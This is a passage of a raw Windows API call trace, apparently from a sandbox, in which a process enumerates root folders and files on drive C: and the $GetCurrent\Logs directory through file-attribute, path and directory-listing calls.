GetLastError () returned 0x12 [0112.661] GetLastError () returned 0x12 [0112.661] GetLastError () returned 0x12 [0112.661] GetLastError () returned 0x12 [0112.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881210 | out: hHeap=0x2ad0000) returned 1 [0112.661] GetFileAttributesA (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0112.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0112.662] GetCurrentThreadId () returned 0x9b0 [0112.663] GetLastError () returned 0x12 [0112.663] GetLastError () returned 0x12 [0112.663] GetLastError () returned 0x12 [0112.663] GetLastError () returned 0x12 [0112.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812e8 | out: hHeap=0x2ad0000) returned 1 [0112.663] GetFileAttributesA (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0x26 [0112.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881210 | out: hHeap=0x2ad0000) returned 1 [0112.665] GetLastError () returned 0x12 [0112.665] GetLastError () returned 0x12 [0112.665] GetLastError () returned 0x12 [0112.665] GetLastError () returned 0x12 [0112.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.665] GetFileAttributesA (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0112.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0112.666] GetCurrentThreadId () returned 0x9b0 [0112.666] GetLastError () returned 0x12 [0112.666] GetLastError () returned 0x12 [0112.666] GetLastError () returned 0x12 [0112.666] GetLastError () returned 0x12 [0112.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.666] GetFileAttributesA (lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings")) returned 0x2416 [0112.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0112.667] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812b8, Size=0x20) returned 0x3028328 [0112.667] GetLastError () returned 0x12 [0112.667] GetLastError () returned 0x12 [0112.667] GetLastError () returned 0x12 [0112.668] GetLastError () returned 0x12 [0112.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0112.668] GetFileAttributesA (lpFileName="C:\\ESD" (normalized: "c:\\esd")) returned 0x10 [0112.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0112.670] GetCurrentThreadId () returned 0x9b0 [0112.670] GetLastError () returned 0x12 [0112.670] GetLastError () returned 0x12 [0112.670] GetLastError () returned 0x12 [0112.670] GetLastError () returned 0x12 [0112.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0112.671] GetFileAttributesA (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys")) returned 0xffffffff [0112.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811c8 | out: hHeap=0x2ad0000) returned 1 [0112.671] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881120, Size=0x20) returned 0x3028350 [0112.671] GetCurrentThreadId () returned 0x9b0 [0112.671] GetLastError () returned 0x20 [0112.671] GetLastError () returned 0x20 [0112.671] GetLastError () returned 0x20 [0112.671] GetLastError () returned 0x20 [0112.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0112.671] GetFileAttributesA (lpFileName="C:\\Logs" (normalized: "c:\\logs")) returned 0x10 [0112.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0112.674] GetLastError () returned 0x20 [0112.674] GetLastError () returned 0x20 [0112.674] GetLastError () returned 0x20 [0112.674] GetLastError () returned 0x20 [0112.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.674] GetFileAttributesA (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys")) returned 0xffffffff [0112.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0112.675] GetCurrentThreadId () returned 0x9b0 [0112.675] GetLastError () returned 0x20 [0112.675] GetLastError () returned 0x20 [0112.675] GetLastError () returned 0x20 [0112.675] GetLastError () returned 0x20 [0112.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0112.675] GetFileAttributesA (lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs")) returned 0x10 [0112.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881168 | out: hHeap=0x2ad0000) returned 1 [0112.676] GetLastError () returned 0x20 [0112.676] GetLastError () returned 0x20 [0112.676] GetLastError () returned 0x20 [0112.676] GetLastError () returned 0x20 [0112.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811b0 | out: hHeap=0x2ad0000) returned 1 [0112.676] GetFileAttributesA (lpFileName="C:\\Program Files" (normalized: "c:\\program files")) returned 0x11 [0112.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0112.677] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x3887578 [0112.677] GetCurrentThreadId () returned 0x9b0 [0112.677] GetLastError () returned 0x20 [0112.677] GetLastError () returned 0x20 [0112.677] GetLastError () returned 0x20 [0112.677] GetLastError () returned 0x20 [0112.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881210 | out: hHeap=0x2ad0000) returned 1 [0112.677] GetFileAttributesA (lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)")) returned 0x11 [0112.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183860 | out: hHeap=0x2ad0000) returned 1 [0112.677] GetLastError () returned 0x20 [0112.677] GetLastError () returned 0x20 [0112.678] GetLastError () returned 0x20 [0112.678] GetLastError () returned 0x20 [0112.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881030 | out: hHeap=0x2ad0000) returned 1 [0112.678] GetFileAttributesA (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x2012 [0112.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811c8 | out: hHeap=0x2ad0000) returned 1 [0112.678] GetCurrentThreadId () returned 0x9b0 [0112.678] GetLastError () returned 0x20 [0112.678] GetLastError () returned 0x20 [0112.678] GetLastError () returned 0x20 [0112.678] GetLastError () returned 0x20 [0112.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812e8 | out: hHeap=0x2ad0000) returned 1 [0112.679] GetFileAttributesA (lpFileName="C:\\Recovery" (normalized: "c:\\recovery")) returned 0x2016 [0112.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0112.679] GetLastError () returned 0x20 [0112.679] GetLastError () returned 0x20 [0112.680] GetLastError () returned 0x20 [0112.680] GetLastError () returned 0x20 [0112.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881030 | out: hHeap=0x2ad0000) returned 1 [0112.680] GetFileAttributesA (lpFileName="C:\\swapfile.sys" (normalized: "c:\\swapfile.sys")) returned 0xffffffff [0112.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881210 | out: hHeap=0x2ad0000) returned 1 [0112.680] GetCurrentThreadId () returned 0x9b0 [0112.680] GetLastError () returned 0x20 [0112.680] GetLastError () returned 0x20 [0112.680] GetLastError () returned 0x20 [0112.680] GetLastError () returned 0x20 [0112.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812e8 | out: hHeap=0x2ad0000) returned 1 [0112.681] GetFileAttributesA (lpFileName="C:\\System Volume Information" (normalized: "c:\\system volume information")) returned 0x16 [0112.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0112.681] GetLastError () returned 0x20 [0112.681] GetLastError () returned 0x20 [0112.681] GetLastError () returned 0x20 [0112.681] GetLastError () returned 0x20 [0112.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881030 | out: hHeap=0x2ad0000) returned 1 [0112.681] GetFileAttributesA (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0112.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810d8 | out: hHeap=0x2ad0000) returned 1 [0112.681] GetCurrentThreadId () returned 0x9b0 [0112.681] GetLastError () returned 0x20 [0112.682] GetLastError () returned 0x20 [0112.682] GetLastError () returned 0x20 [0112.682] GetLastError () returned 0x20 [0112.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810d8 | out: hHeap=0x2ad0000) returned 1 [0112.682] GetFileAttributesA (lpFileName="C:\\Windows" (normalized: "c:\\windows")) returned 0x10 [0112.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0112.682] GetLastError () returned 0x20 [0112.682] GetLastError () returned 0x20 [0112.683] GetLastError () returned 0x20 [0112.683] GetLastError () returned 0x20 [0112.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0112.683] GetFileAttributesA (lpFileName="C:\\Windows10Upgrade" (normalized: "c:\\windows10upgrade")) returned 0x10 [0112.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b80 | out: hHeap=0x2ad0000) returned 1 [0112.685] GetCurrentThreadId () returned 0x9b0 [0112.685] GetLastError () returned 0x20 [0112.685] GetLastError () returned 0x20 [0112.685] GetLastError () returned 0x20 [0112.685] GetLastError () returned 0x20 [0112.685] GetFullPathNameA (in: lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\$WINRE_BACKUP_PARTITION.MARKER", lpFilePart=0x9bada4*="$WINRE_BACKUP_PARTITION.MARKER") returned 0x21 [0112.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0112.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0112.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0112.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0112.686] GetCurrentThreadId () returned 0x9b0 [0112.686] GetLastError () returned 0x20 [0112.686] GetLastError () returned 0x20 [0112.686] GetLastError () returned 0x20 [0112.686] GetLastError () returned 0x20 [0112.686] GetFullPathNameA (in: lpFileName="C:\\bootmgr", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\bootmgr", lpFilePart=0x9bada4*="bootmgr") returned 0xa [0112.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0112.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0112.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0112.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0112.687] GetCurrentThreadId () returned 0x9b0 [0112.687] GetLastError () returned 0x20 [0112.687] GetLastError () returned 0x20 [0112.687] GetLastError () returned 0x20 [0112.687] GetLastError () returned 0x20 [0112.687] GetFullPathNameA (in: lpFileName="C:\\BOOTNXT", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\BOOTNXT", lpFilePart=0x9bada4*="BOOTNXT") returned 0xa [0112.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0112.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0112.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0112.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0112.688] GetCurrentThreadId () returned 0x9b0 [0112.688] GetLastError () returned 0x20 [0112.688] GetLastError () returned 0x20 [0112.688] GetLastError () returned 0x20 [0112.689] GetLastError () returned 0x20 [0112.689] GetFullPathNameA (in: lpFileName="C:\\BOOTSECT.BAK", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\BOOTSECT.BAK", lpFilePart=0x9bada4*="BOOTSECT.BAK") returned 0xf [0112.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0112.689] GetCurrentThreadId () returned 0x9b0 [0112.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0112.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0112.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0112.689] GetLastError () returned 0x20 [0112.689] GetLastError () returned 0x20 [0112.689] GetLastError () returned 0x20 [0112.689] GetLastError () returned 0x20 [0112.689] GetFullPathNameA (in: lpFileName="C:\\hiberfil.sys", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\hiberfil.sys", lpFilePart=0x9bada4*="hiberfil.sys") returned 0xf [0112.690] GetCurrentThreadId () returned 0x9b0 [0112.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0112.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0112.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0112.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0112.690] GetLastError () returned 0x20 [0112.690] GetLastError () returned 0x20 [0112.690] GetLastError () returned 0x20 [0112.690] GetLastError () returned 0x20 [0112.690] GetFullPathNameA (in: lpFileName="C:\\pagefile.sys", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\pagefile.sys", lpFilePart=0x9bada4*="pagefile.sys") returned 0xf [0112.690] GetCurrentThreadId () returned 0x9b0 [0112.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0112.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0112.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0112.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0112.691] GetLastError () returned 0x20 [0112.691] GetLastError () returned 0x20 [0112.691] GetLastError () returned 0x20 [0112.691] GetLastError () returned 0x20 [0112.691] GetFullPathNameA (in: lpFileName="C:\\swapfile.sys", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\swapfile.sys", lpFilePart=0x9bada4*="swapfile.sys") returned 0xf [0112.691] GetCurrentThreadId () returned 0x9b0 [0112.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0112.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0112.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0112.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0112.691] GetCurrentThreadId () returned 0x9b0 [0112.692] GetLastError () returned 0x20 [0112.692] GetLastError () returned 0x20 [0112.692] GetLastError () returned 0x20 [0112.692] GetLastError () returned 0x20 [0112.692] FindFirstFileA (in: lpFileName="C:\\$GetCurrent\\*.*", lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0112.692] GetLastError () returned 0x20 [0112.692] GetCurrentThreadId () returned 0x9b0 [0112.692] GetLastError () returned 0x20 [0112.692] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0112.692] GetLastError () returned 0x20 [0112.693] GetCurrentThreadId () returned 0x9b0 [0112.693] GetLastError () returned 0x20 [0112.693] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="Logs", cAlternateFileName="")) returned 1 [0112.693] GetLastError () returned 0x20 [0112.693] GetCurrentThreadId () returned 0x9b0 [0112.693] GetLastError () returned 0x20 [0112.693] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0112.693] GetLastError () returned 0x20 [0112.693] GetCurrentThreadId () returned 0x9b0 [0112.693] GetLastError () returned 0x20 [0112.693] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0112.693] GetLastError () returned 0x12 [0112.693] GetCurrentThreadId () returned 0x9b0 [0112.693] GetLastError () returned 0x12 [0112.694] GetLastError () returned 0x12 [0112.694] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0112.694] GetLastError () returned 0x12 [0112.694] GetLastError () returned 0x12 [0112.694] GetLastError () returned 0x12 [0112.694] GetLastError () returned 0x12 [0112.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0112.694] GetFileAttributesA (lpFileName="C:\\$GetCurrent\\Logs" (normalized: "c:\\$getcurrent\\logs")) returned 0x10 [0112.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b80 | out: hHeap=0x2ad0000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0112.695] GetCurrentThreadId () returned 0x9b0 [0112.695] GetLastError () returned 0x12 [0112.695] GetLastError () returned 0x12 [0112.695] GetLastError () returned 0x12 [0112.695] GetLastError () returned 0x12 [0112.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0112.695] GetFileAttributesA (lpFileName="C:\\$GetCurrent\\SafeOS" (normalized: "c:\\$getcurrent\\safeos")) returned 0x10 [0112.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0112.696] GetLastError () returned 0x12 [0112.696] GetLastError () returned 0x12 [0112.696] GetLastError () returned 0x12 [0112.697] GetLastError () returned 0x12 [0112.697] FindFirstFileA (in: lpFileName="C:\\$GetCurrent\\Logs\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0112.698] GetLastError () returned 0x12 [0112.698] GetCurrentThreadId () returned 0x9b0 [0112.698] GetLastError () returned 0x12 [0112.698] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0112.698] GetLastError () returned 0x12 [0112.698] GetCurrentThreadId () returned 0x9b0 [0112.699] GetLastError () returned 0x12 [0112.699] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0112.699] GetLastError () returned 0x12 [0112.699] GetCurrentThreadId () returned 0x9b0 [0112.699] GetLastError () returned 0x12 [0112.699] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0112.699] GetLastError () returned 0x12 [0112.699] GetCurrentThreadId () returned 0x9b0 [0112.699] GetLastError () returned 0x12 [0112.699] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0112.699] GetLastError () returned 0x12 [0112.699] GetCurrentThreadId () returned 0x9b0 [0112.699] GetLastError () returned 0x12 [0112.699] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0112.700] GetLastError () returned 0x12 [0112.700] GetCurrentThreadId () returned 0x9b0 [0112.700] GetLastError () returned 0x12 [0112.700] GetLastError () returned 0x12 [0112.700] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0112.701] GetCurrentThreadId () returned 0x9b0 [0112.701] GetLastError () returned 0x12 [0112.701] GetLastError () returned 0x12 [0112.701] GetLastError () returned 0x12 [0112.701] GetLastError () returned 0x12 [0112.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0112.701] GetFileAttributesA (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0112.703] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0112.703] GetCurrentThreadId () returned 0x9b0 [0112.703] GetLastError () returned 0x12 [0112.703] GetLastError () returned 0x12 [0112.703] GetLastError () returned 0x12 [0112.703] GetLastError () returned 0x12 [0112.703] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0112.703] GetFileAttributesA (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0112.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0112.705] GetLastError () returned 0x12 [0112.705] GetLastError () returned 0x12 [0112.705] GetLastError () returned 0x12 [0112.705] GetLastError () returned 0x12 [0112.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0112.705] GetFileAttributesA 